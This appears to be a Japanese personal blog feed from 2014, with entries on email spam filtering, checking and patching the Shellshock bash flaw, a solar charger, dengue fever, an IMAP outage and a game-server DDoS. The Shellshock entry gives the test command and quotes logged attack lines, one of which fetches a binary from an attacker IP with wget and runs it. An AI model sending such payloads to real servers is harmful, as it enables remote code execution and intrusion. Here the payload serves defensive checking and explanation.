自宅では主にFrom:を見て procmailrc でスパムをはじいているのだけど、From:を詐称してTo:と同じに設定して送りつけてくる業者が弾けなくて困る。
自分あてにメールを出すことはそうそうないので、ホワイトリストから自分のメールアドレスを外すという、自爆テロを実施；；
347bytes
必要な場合は、フィルタ突破用の番号を自分のWeb日記を見て打ち込むことにする...。
]]>以下ニュース記事
bashにコードインジェクションのセキュリティ脆弱性 - US-CERT注意喚起 | マイナビニュース http://news.mynavi.jp/news/2014/09/26/090/
GNU bash脆弱性(ShellShock)、各種OSSプロジェクトが影響範囲を発表 | マイナビニュース http://news.mynavi.jp/news/2014/09/26/451/
具体的な例は以下。
BASHの脆弱性でCGIスクリプトにアレさせてみました http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
２ちゃんねるのFreeBSDスレッドから調査用のコマンドを入手。 bashの前に、環境変数 x に呪文のような文字列を設定しているが、ここに細工がある。 vulnerableが表示されたらダメ。
uname -a
set | grep -ai version
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
ちなみに、あかん例を２ちゃんねるから引用。
799 名無しさん＠お腹いっぱい。[sage] 2014/09/26(金) 22:32:31.60
うあああああああああ
FreeBSDもだめだあああああああああ
root@test:~# uname -a
FreeBSD test 9.1-RELEASE-p11 FreeBSD 9.1-RELEASE-p11 #0: Tue Apr 8 20:54:56 UTC 2014 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
root@test:~# set | grep -ai version
version tcsh 6.18.01 (Astron) 2012-02-14 (x86_64-amd-FreeBSD) options wide,nls,dl,al,kan,sm,rh,color,filec
root@test:~# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
root@test:~#
上の例だとtcshから実行しているようなので、bashのバージョンが表示されていない(tcshのバージョンが表示されている)のはご愛嬌。
「this is a test」の前に「vulnerable」が表示されているので、 bash起動時、受け継いだ環境変数を評価する際に、書いてあるコマンドが実行されちゃうというしくみ。
環境変数に仕込めればOKということで、たとえばブラウザから送られるHTTP_USER_AGENTあたりに呪文が書いてあるとマズい...というもの。
Webサーバから起動するpythonやperlなど他の言語の中で、system("...");を使っている場合、 環境変数を引き継いだまま、かつ、bashがシェルとして使われている場合は、bash起動時にやられる。
system()だけではなく、perlなら、open("コマンド|")で子プロセスのコマンド出力をゲットできるが、 これも起動シェルがbashならアウトだ。
ウチのFreeBSD-9.1Rの場合、shell("...")とかopen("コマンド|")で使われる 起動シェルは/bin/sh(いわゆるash)で、今回の影響はなさげ。 明示的にbashを指定して起動しているcgi関係のブツも無かったし。
ウチの/usr/local/bin/bashはダメだったので、portsからbashを入れなおして。
bashのバージョンアップ後
root@c60pc ~ $ uname -a
FreeBSD c60pc.tokyo3.nerv 9.1-RELEASE-p19 FreeBSD 9.1-RELEASE-p19 #0: Mon Sep 15 21:51:00 UTC 2014 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
root@c60pc ~ $ set | grep -ai version
BASH_VERSION='4.3.26(0)-release'
root@c60pc ~ $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
root@c60pc ~ $
ちなみに、apacheのログに今回の祭りのログが残っていた。 ウチはwgetコマンド入れてないので、動かないけどな...。
http-errorログ。
[Thu Sep 25 13:02:49 2014] [error] [client 162.253.66.xx] Client sent malformed Host header, referer: () { :; }; wget -O /tmp/besh http://162.253.66.xx/nginx; chmod 777 /tmp/besh; /tmp/besh;
[Thu Sep 25 23:43:59 2014] [error] [client 185.10.57.yyy] Client sent malformed Host header, referer: () { :; }; /bin/ping -c 3 185.10.57.yyy
http-accessログ。
162.253.66.xx - - [25/Sep/2014:13:02:49 +0900] "GET / HTTP/1.0" 400 417 "-" 185.10.57.yyy - - [25/Sep/2014:23:43:59 +0900] "GET / HTTP/1.0" 400 368 "-"
ログを見ると、要求は GET / だが、ホストヘッダに例の呪文を入れて実行させようとしているようだ。
]]>自宅では主にFrom:を見て procmailrc でスパムをはじいているのだけど、From:を詐称してTo:と同じに設定して送りつけてくる業者が弾けなくて困る。
自分あてにメールを出すことはそうそうないので、ホワイトリストから自分のメールアドレスを外すという、自爆テロを実施；；
347bytes
必要な場合は、フィルタ突破用の番号を自分のWeb日記を見て打ち込むことにする...。
]]>久しぶりの緊急地震速報。 ちょうどエレベータに乗っていた時だったのでびびったｗ
Ｐ波感知式のエレベータだったのか、本揺れが来る前に自動で近くの階に停止。 廊下に出た後に本揺れ到着。
おそらく、作った人の想定通りの展開となった。
]]>Amazonでソーラーパネル搭載のスマホ充電器を検索。 あまりいいものはなかったけど、とりあえずコレにした。
WAKA WAKA POWER https://waka-waka.com/store/catalogue/wakawaka-power_17/
8,680円。
電池容量はLiPo(リチウムポリマー) 2200mAh 、iPhone5s 1.3回分らしい。 フル充電する場合は太陽光で12時間、または、micro USB経由で6時間。
買った後で製品名から検索してHP見に行ったところ、 電気が届いていない地域の人々に、ソーラーパネル充電式LEDランタンを届けるプロジェクトの副産物らしい。
WAKA WAKA製品を一つ買うと、廉価版のLEDランタン一つ、どっかの人に届けられるしくみ、とのこと。 どうも変に高いと思った...。
充電の具合や、自己放電の具合は長期で使ってみないとなんとも。
ソーラーパネルから充電中の場合、LEDがピコピコ光るのは気に入った。 電気を無駄にしている気がしないでもないが、光が良く当たる場所や、ここでも充電できるのか？を判定するのに便利だ。 直射日光を当てなくても、窓から入る間接太陽光や、オフィスの蛍光灯でも充電中LEDが光ってた。
元々はソーラー充電式LEDランタンなので、LEDランタンとしても使えるけど、値段の割に電池容量は少ない。 正直、オススメはしかねる。かなり趣味アイテム。
]]>ここまでのまとめ。
個人的には、「撤退」という語を使った／使っていないという点ははあまり気にしていない。 語を選ぶ、というのは実に重要なコトなんだけど。 フクイチに残ったのは結局世に称されたフクシマ50(実際には69人)だけだし。 大勢残ったからって何かできたかと言えば、そうでもなさそうだし。
朝日新聞を擁護する気は全くないけど、偏向報道しちゃった後に吉田調書原本を公開して梯子を外したように見えるのは気のせい？
あと、吉田所長は東京電力の中の人なので、信じすぎるのもどうかな。 調書の信頼性は高そうだし、本店の連中をののしっているのは本音だろうけど、東京電力が本当に不利になるようなことは言わないと思う。
さて、朝日新聞の無料購読を解約しとくか。 朝日新聞はニュースソースとしては使ってはいけない(戒め)。
p.s.
吉田調書のオリジナル、長いけど読みやすい。吉田所長がはっちゃけてるからかな。
中越沖地震のときに柏崎の３号機の変圧器が燃えましたね。 非常に真っ黒けになって、NHKが御丁寧に報道していただいたんで、全国の方が燃えているところと黒い煙を見ていらっしゃると思うんですが、あの後、原子力発電所には消防車もないのかということで、えらいバッシングに遭いまして、消防車を買った。
消防車を3台買ってあったのは、中越沖地震の教訓とNHKによる中継放送とバッシングの結果だったらしい。 コストカット主義の清水東電社長でも、強いバッシングに遭うと消防車を買ってくれるという教訓（？）なんだろうか。
]]>23時25分ごろ、IE起動したら「The service is unavailable.」とか表示されてワロタｗ こんなこともあるんだねぇ。
ちなみに、ウチのWindows7 IE11のデフォルトホームページ設定はこんな感じ。 http://go.microsoft.com/fwlink/?LinkId=69157
MSNのトップURLは以下のようだ。ホームページの設定変えておくかな。 http://jp.msn.com/
]]>代々木公園とか新宿中央公園とか感染が広がっている模様。
海外旅行中にインドでデング熱、悪化してデング出血熱になった人の記録が２ちゃんねるに貼ってあったのでこちらでもリンク。
デング熱・デング出血熱闘病記まとめ http://koppeblog.com/2013/09/09/d8/
日本領事館の人、通訳の人がかっこいい。 海外で伝染病にかかるとえらいこっちゃ。 通信用のSIMと日本からの家族のバックアップが役立ってて何よりだ。
上記の闘病記にもあるけど、デング出血熱では血小板が減ると危険。 解熱剤では、アセトアミノフェンが推奨。アスピリンは出血傾向を助長するので使用するべきではない、とのこと。
厚生労働省からでているPDF デング熱診療マニュアル（第1版） http://www.mhlw.go.jp/bunya/kenkou/kekkaku-kansenshou19/dl/20140903-09.pdf
]]>8/3 19時ごろから、Windows版 Thunderbird 24.5.0 と自宅鯖 dovecot の間でIMAP接続できなくなった。 原因不明すぎる。
元気だった頃の /var/log/maillog
Aug 2 14:44:33 c60pc dovecot: imap-login: Login: user=<george>, method=PLAIN, rip=192.168.1.33, lip=192.168.1.32, mpid=56076, TLS, session=<PgoeAJ//uQDAqAEh>
ダメになった頃の /var/log/maillog
Aug 3 19:23:47 c60pc dovecot: imap-login: Disconnected (no auth attempts in 101 secs): user=<>, rip=192.168.1.33, lip=192.168.1.32, session=<tyGQBLf/HQDAqAEh>
接続だけして、「a login ユーザー名 パスワード」は送信してない、ってコトかいな？
緊急避難的にEmacs上のWanderlustからIMAPメール読んでみたりｗ
8/5 追記。
dovecot2の設定を緩めて SSL/STARTTLSナシのPLAIN認証も許可するように設定して、 Windows Live Mailから自宅のIMAPサーバにアクセスしてメールは読めるようにしておく。
しかし、原因は謎のままだなー。
]]>エリアメールでたたき起こされた・・・。 あの音マジ怖い。
さて、今回は震度4、津波もほとんど無しと、あんまりたいしたことなかったが、 地上でこれくらいのゆれでも15mの大津波がやってくる場合もあるので要注意。
一応、震度4程度でも津波から逃げた方がいいんだろうけど...。 毎回だと辛いわな。
]]>一応、停電に備えて(?)現有兵力を計算してみる。
合計すると76.9Wh。7割残っているとすると53.8Wh。
消費する側の機器。
iPhone5sでテザリングしながら艦これをやった場合、iPhone5s側は2Whくらい、Miix 2 8側は4Whくらい消費すると考えると、 外部充電器戦力で約9時間戦える。
USB扇風機(5V × 500mAh ＝ 2.5Wh)も併用する場合は6.3時間くらい。 扇風機はかなり贅沢な品物であるな・・・。
話は変わって、温帯低気圧と熱帯低気圧の違いについて解説しているサイトを発見したのでリンク。
今回の台風8号は、沖縄では自力で猛威を振るい、上陸後は東北地方にあった梅雨前線に温風を送り込む送風機として働いた。 一回で2度災害を起こす台風ハンパない。
]]>公式Webページも落ちているのでリンク貼れないｗ 詳しくはtwitter参照。 https://twitter.com/sega_pso2
どんな技で落とされたのか詳細は不明。
今回はゲーム関係の鯖なので、関係ない人にとってはどうでもいい話だが、重要なサーバ相手にコレやられると結構ヤバイ。
サービス停止期間は、攻撃側が飽きるまで、かな？
p.s.
6/27日 16時には部分的にサービスを開始。ゲームサーバにログインできるようになった。 数か月はダメかと思っていたが、意外に早かった。
対策としては、超高性能ファイヤーウォールを入れたのかな？ よくわからんけど。
]]>